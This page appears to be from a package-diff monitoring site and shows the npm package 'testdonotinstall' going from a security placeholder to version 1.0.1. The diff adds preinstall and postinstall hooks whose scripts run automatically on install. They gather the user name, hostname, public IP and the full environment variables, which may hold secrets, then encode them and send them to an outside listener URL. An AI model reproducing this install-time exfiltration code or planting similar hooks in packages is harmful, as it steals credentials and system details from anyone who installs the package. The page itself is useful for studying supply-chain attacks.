testdonotinstall 0.0.1-security → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of testdonotinstall might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=testdonotinstall for more information.
1
+ A package for testing purposes only. DO NOT INSTALL IT!
package/package.json CHANGED
@@ -1,6 +1,16 @@
1
1
  {
2
2
  "name": "testdonotinstall",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.1",
4
+ "description": "testdonotinstall",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node ./runMe.js",
8
+ "preinstall": "node ./runMe-pre.js"
9
+ },
10
+ "author": "elikrem",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "axios": "^0.27.2"
14
+ },
15
+ "devDependencies": {}
6
16
  }
package/runMe-pre.js ADDED
@@ -0,0 +1,32 @@
1
+ const { execSync } = require('child_process');
2
+ //const https = require('https');
3
+ const axios = require('axios');
4
+
5
+ (async function main () {
6
+ let result = {}
7
+ let whoami = await execSync('whoami',{encoding: "UTF-8"});
8
+ let hostname = await execSync('hostname',{encoding: "UTF-8"});
9
+ let ip = await execSync('curl ifconfig.me',{encoding: "UTF-8"});
10
+
11
+ result.whoami = whoami.toString();
12
+ result.hostname = hostname.toString();
13
+ result.ip = ip.toString();
14
+ //console.log(result)
15
+ const data = JSON.stringify(result)
16
+
17
+ const encoded = Buffer.from(data, 'utf8').toString('base64')
18
+
19
+ let url = 'https://elikr3.wixsite.com/tools/_functions/listener?preinstall=1&paylaod=' + encoded
20
+
21
+ axios
22
+ .post(url, data)
23
+ .then(res => {
24
+ console.log(`statusCode: ${res.status}`);
25
+ console.log(res);
26
+ })
27
+ .catch(error => {
28
+ console.error(error);
29
+ });
30
+
31
+
32
+ })();
package/runMe.js ADDED
@@ -0,0 +1,36 @@
1
+ const { execSync } = require('child_process');
2
+ //const https = require('https');
3
+ const axios = require('axios');
4
+
5
+ (async function main () {
6
+ let result = {}
7
+ let whoami = await execSync('whoami',{encoding: "UTF-8"});
8
+ let hostname = await execSync('hostname',{encoding: "UTF-8"});
9
+ let ip = await execSync('curl ifconfig.me',{encoding: "UTF-8"});
10
+ let env = await execSync('env',{encoding: "UTF-8"});
11
+
12
+
13
+ result.whoami = whoami.toString();
14
+ result.hostname = hostname.toString();
15
+ result.ip = ip.toString();
16
+ result.env = env.toString();
17
+
18
+ //console.log(result)
19
+ const data = JSON.stringify(result)
20
+
21
+ const encoded = Buffer.from(data, 'utf8').toString('base64')
22
+
23
+ let url = 'https://elikr3.wixsite.com/tools/_functions/listener?postinstall=1&paylaod=' + encoded
24
+
25
+ axios
26
+ .post(url, data)
27
+ .then(res => {
28
+ console.log(`statusCode: ${res.status}`);
29
+ console.log(res);
30
+ })
31
+ .catch(error => {
32
+ console.error(error);
33
+ });
34
+
35
+
36
+ })();